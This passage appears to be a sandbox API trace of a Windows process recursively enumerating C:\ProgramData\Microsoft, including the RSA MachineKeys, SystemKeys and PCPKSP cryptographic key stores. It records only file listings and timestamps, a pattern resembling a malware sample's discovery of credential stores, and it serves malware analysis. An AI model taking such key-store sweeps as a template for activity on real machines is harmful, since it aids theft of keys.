	[0063.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa908
	[0063.503] FindNextFileW (in: hFindFile=0xbaa908, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.503] FindNextFileW (in: hFindFile=0xbaa908, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.503] FindClose (in: hFindFile=0xbaa908 | out: hFindFile=0xbaa908) returned 1
	[0063.503] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.503] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0
	[0063.503] FindClose (in: hFindFile=0xbaa348 | out: hFindFile=0xbaa348) returned 1
	[0063.504] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.505] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0063.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa4c8
	[0063.505] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.505] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0063.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0063.522] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.522] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1
	[0063.522] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0
	[0063.522] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0063.523] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.523] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0063.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa8c8
	[0063.523] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.523] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1
	[0063.523] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 0
	[0063.523] FindClose (in: hFindFile=0xbaa8c8 | out: hFindFile=0xbaa8c8) returned 1
	[0063.523] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.523] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0063.523] FindClose (in: hFindFile=0xbaa4c8 | out: hFindFile=0xbaa4c8) returned 1
	[0063.524] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.525] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1
	[0063.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa388
	[0063.526] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.526] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1
	[0063.526] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1
	[0063.526] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 0
	[0063.526] FindClose (in: hFindFile=0xbaa388 | out: hFindFile=0xbaa388) returned 1
	[0063.526] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.526] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0
	[0063.526] FindClose (in: hFindFile=0xbaa848 | out: hFindFile=0xbaa848) returned 1
	[0063.526] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f20070 | out: hHeap=0x2720000) returned 1
	[0063.526] FindNextFileW (in: hFindFile=0xbaa708, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1
	[0063.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DataMart\\*", lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa2c8
	[0063.527] FindNextFileW (in: hFindFile=0xbaa2c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.527] FindNextFileW (in: hFindFile=0xbaa2c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1
	[0063.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa6c8
	[0063.528] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.528] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.528] FindClose (in: hFindFile=0xbaa6c8 | out: hFindFile=0xbaa6c8) returned 1
	[0063.528] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.528] FindNextFileW (in: hFindFile=0xbaa2c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0
	[0063.528] FindClose (in: hFindFile=0xbaa2c8 | out: hFindFile=0xbaa2c8) returned 1
	[0063.528] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f20070 | out: hHeap=0x2720000) returned 1
	[0063.528] FindNextFileW (in: hFindFile=0xbaa708, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0063.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0063.529] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.529] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1
	[0063.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa988
	[0063.529] FindNextFileW (in: hFindFile=0xbaa988, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.529] FindNextFileW (in: hFindFile=0xbaa988, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0063.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa788
